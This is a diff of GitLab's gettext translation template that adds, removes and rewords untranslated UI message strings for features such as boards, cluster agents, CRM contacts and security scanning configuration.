"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:42\n"
+"PO-Revision-Date: 2021-12-06 18:59\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -271,6 +268,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -331,6 +334,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -409,6 +418,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -472,6 +487,12 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -553,6 +574,12 @@ msgstr[2] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -778,7 +805,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -832,6 +859,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -865,9 +895,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -892,6 +919,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -925,6 +955,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -973,9 +1006,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1081,6 +1111,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1213,6 +1246,12 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "(this user)"
msgstr ""
@@ -1222,6 +1261,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1261,6 +1303,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1591,9 +1636,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1630,9 +1672,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1681,9 +1720,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1819,9 +1855,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2068,12 +2101,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2116,6 +2155,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2158,9 +2203,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2230,6 +2272,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2275,9 +2320,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2320,7 +2362,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2329,7 +2371,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2425,6 +2467,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2491,7 +2536,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3028,19 +3073,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3631,9 +3685,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3661,6 +3712,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3820,6 +3874,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4003,6 +4060,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4042,6 +4102,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4084,9 +4147,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4099,9 +4159,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4159,6 +4216,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4168,6 +4228,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4585,6 +4648,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4789,6 +4855,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4888,6 +4957,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5536,6 +5608,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5614,6 +5689,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5623,12 +5701,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5641,6 +5728,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5734,6 +5824,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5746,6 +5839,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6037,10 +6133,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6049,6 +6148,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6295,6 +6397,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6589,10 +6694,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6643,9 +6748,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6658,6 +6760,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6721,10 +6826,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6787,6 +6892,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6802,9 +6910,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7003,9 +7108,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7303,6 +7405,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7345,6 +7450,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7387,12 +7495,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7414,16 +7516,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7435,9 +7552,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7447,6 +7585,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7456,28 +7597,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7489,6 +7633,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7501,60 +7648,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7696,15 +7861,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7831,9 +7999,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7879,12 +8044,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7906,9 +8065,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8209,6 +8365,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8263,6 +8422,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8320,9 +8482,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8359,6 +8518,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8785,6 +8947,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8797,6 +8965,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8836,9 +9007,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9553,7 +9721,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9709,6 +9877,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9868,6 +10039,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9901,9 +10075,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10123,6 +10294,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10513,6 +10714,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11161,6 +11365,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11182,6 +11389,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11236,9 +11446,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11284,6 +11491,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11404,6 +11617,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
